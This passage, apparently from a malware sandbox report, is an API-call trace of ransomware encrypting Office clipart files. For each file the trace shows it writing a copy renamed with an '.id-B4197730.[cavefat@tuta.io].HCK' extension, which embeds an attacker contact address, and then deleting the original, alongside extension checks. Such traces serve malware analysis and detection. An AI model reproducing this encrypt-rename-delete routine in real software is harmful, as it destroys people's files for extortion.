Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.569] lstrlenW (lpString=".dbf") returned 4 [0167.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.570] lstrlenW (lpString=".1cd") returned 4 [0167.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.570] lstrlenW (lpString=".jpg") returned 4 [0167.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.570] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.570] lstrlenW (lpString="J0107188.WMF") returned 12 [0167.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.576] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4536) returned 1 [0167.576] CloseHandle (hObject=0x378) returned 1 [0167.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220 [0167.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0167.600] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.600] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0167.612] GetLastError () returned 0x0 [0167.613] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x11b8, lpOverlapped=0x0) returned 1 [0167.618] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11c0, lpOverlapped=0x0) returned 1 [0167.618] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.619] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.619] SetEndOfFile (hFile=0x354) returned 1 [0167.630] CloseHandle (hObject=0x354) returned 1 [0167.632] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.632] SetEndOfFile (hFile=0x398) returned 1 [0167.636] CloseHandle (hObject=0x398) returned 1 [0167.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.644] lstrlenW (lpString=".doc") returned 4 [0167.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.644] lstrlenW (lpString=".docx") returned 5 [0167.644] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.644] lstrlenW (lpString=".pdf") returned 4 [0167.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.644] lstrlenW (lpString=".xls") returned 4 [0167.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.644] lstrlenW (lpString=".xlsx") returned 5 [0167.644] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.644] lstrlenW (lpString=".ppt") returned 4 [0167.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.644] lstrlenW (lpString=".zip") returned 4 [0167.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.644] lstrlenW (lpString=".rar") returned 4 [0167.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.644] lstrlenW (lpString=".bz2") returned 4 [0167.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.644] lstrlenW (lpString=".7z") returned 3 [0167.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.644] lstrlenW (lpString=".dbf") returned 4 [0167.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.644] lstrlenW (lpString=".1cd") returned 4 [0167.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.645] lstrlenW (lpString=".jpg") returned 4 [0167.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.645] lstrlenW (lpString=".doc") returned 4 [0167.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.645] lstrlenW (lpString=".docx") returned 5 [0167.645] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.645] lstrlenW (lpString=".pdf") returned 4 [0167.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.645] lstrlenW (lpString=".xls") returned 4 [0167.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.645] lstrlenW (lpString=".xlsx") returned 5 [0167.645] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.645] lstrlenW (lpString=".ppt") returned 4 [0167.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.645] lstrlenW (lpString=".zip") returned 4 [0167.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.645] lstrlenW (lpString=".rar") returned 4 [0167.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.645] lstrlenW (lpString=".bz2") returned 4 [0167.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.645] lstrlenW (lpString=".7z") returned 3 [0167.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.645] lstrlenW (lpString=".dbf") returned 4 [0167.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.645] lstrlenW (lpString=".1cd") returned 4 [0167.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0167.645] lstrlenW (lpString=".jpg") returned 4 [0167.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.645] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.645] lstrlenW (lpString="J0107262.WMF") returned 12 [0167.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0167.649] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=7996) returned 1 [0167.649] CloseHandle (hObject=0x394) returned 1 [0167.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 0x220 [0167.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.668] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.668] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.679] GetLastError () returned 0x0 [0167.679] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1f3c, lpOverlapped=0x0) returned 1 [0167.681] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1f40, lpOverlapped=0x0) returned 1 [0167.682] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.682] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.682] SetEndOfFile (hFile=0x364) returned 1 [0167.684] CloseHandle (hObject=0x364) returned 1 [0167.687] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.687] SetEndOfFile (hFile=0x2ec) returned 1 [0167.691] CloseHandle (hObject=0x2ec) returned 1 [0167.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0167.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.694] lstrlenW (lpString=".doc") returned 4 [0167.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.694] lstrlenW (lpString=".docx") returned 5 [0167.695] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.695] lstrlenW (lpString=".pdf") returned 4 [0167.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.695] lstrlenW (lpString=".xls") returned 4 [0167.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.695] lstrlenW (lpString=".xlsx") returned 5 [0167.695] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.695] lstrlenW (lpString=".ppt") returned 4 [0167.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.695] lstrlenW (lpString=".zip") returned 4 [0167.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.695] lstrlenW (lpString=".rar") returned 4 [0167.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.695] lstrlenW (lpString=".bz2") returned 4 [0167.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.695] lstrlenW (lpString=".7z") returned 3 [0167.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.695] lstrlenW (lpString=".dbf") returned 4 [0167.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.695] lstrlenW (lpString=".1cd") returned 4 [0167.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.695] lstrlenW (lpString=".jpg") returned 4 [0167.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.695] lstrlenW (lpString=".doc") returned 4 [0167.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.695] lstrlenW (lpString=".docx") returned 5 [0167.695] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.695] lstrlenW (lpString=".pdf") returned 4 [0167.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.695] lstrlenW (lpString=".xls") returned 4 [0167.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.695] lstrlenW (lpString=".xlsx") returned 5 [0167.695] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.695] lstrlenW (lpString=".ppt") returned 4 [0167.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.696] lstrlenW (lpString=".zip") returned 4 [0167.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.696] lstrlenW (lpString=".rar") returned 4 [0167.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.696] lstrlenW (lpString=".bz2") returned 4 [0167.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.696] lstrlenW (lpString=".7z") returned 3 [0167.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.696] lstrlenW (lpString=".dbf") returned 4 [0167.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.696] lstrlenW (lpString=".1cd") returned 4 [0167.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0167.696] lstrlenW (lpString=".jpg") returned 4 [0167.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.696] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.696] lstrlenW (lpString="J0107288.WMF") returned 12 [0167.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0167.701] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=13436) returned 1 [0167.701] CloseHandle (hObject=0x394) returned 1 [0167.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220 [0167.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.708] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.708] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0167.714] GetLastError () returned 0x0 [0167.714] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x347c, lpOverlapped=0x0) returned 1 [0167.720] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3480, lpOverlapped=0x0) returned 1 [0167.722] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.722] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.722] SetEndOfFile (hFile=0x398) returned 1 [0167.724] CloseHandle (hObject=0x398) returned 1 [0167.726] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.726] SetEndOfFile (hFile=0x2ec) returned 1 [0167.727] CloseHandle (hObject=0x2ec) returned 1 [0167.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0167.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.735] lstrlenW (lpString=".doc") returned 4 [0167.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString=".docx") returned 5 [0167.736] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.736] lstrlenW (lpString=".pdf") returned 4 [0167.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString=".xls") returned 4 [0167.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.736] lstrlenW (lpString=".xlsx") returned 5 [0167.736] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.736] lstrlenW (lpString=".ppt") returned 4 [0167.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.736] lstrlenW (lpString=".zip") returned 4 [0167.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.736] lstrlenW (lpString=".rar") returned 4 [0167.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString=".bz2") returned 4 [0167.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString=".7z") returned 3 [0167.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.736] lstrlenW (lpString=".dbf") returned 4 [0167.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.736] lstrlenW (lpString=".1cd") returned 4 [0167.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.736] lstrlenW (lpString=".jpg") returned 4 [0167.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.736] lstrlenW (lpString=".doc") returned 4 [0167.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString=".docx") returned 5 [0167.736] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.736] lstrlenW (lpString=".pdf") returned 4 [0167.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString=".xls") returned 4 [0167.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.736] lstrlenW (lpString=".xlsx") returned 5 [0167.736] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.736] lstrlenW (lpString=".ppt") returned 4 [0167.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.736] lstrlenW (lpString=".zip") returned 4 [0167.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.736] lstrlenW (lpString=".rar") returned 4 [0167.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString=".bz2") returned 4 [0167.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.736] lstrlenW (lpString=".7z") returned 3 [0167.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.737] lstrlenW (lpString=".dbf") returned 4 [0167.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0167.737] lstrlenW (lpString=".1cd") returned 4 [0167.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.737] lstrlenW (lpString="C:\\Program 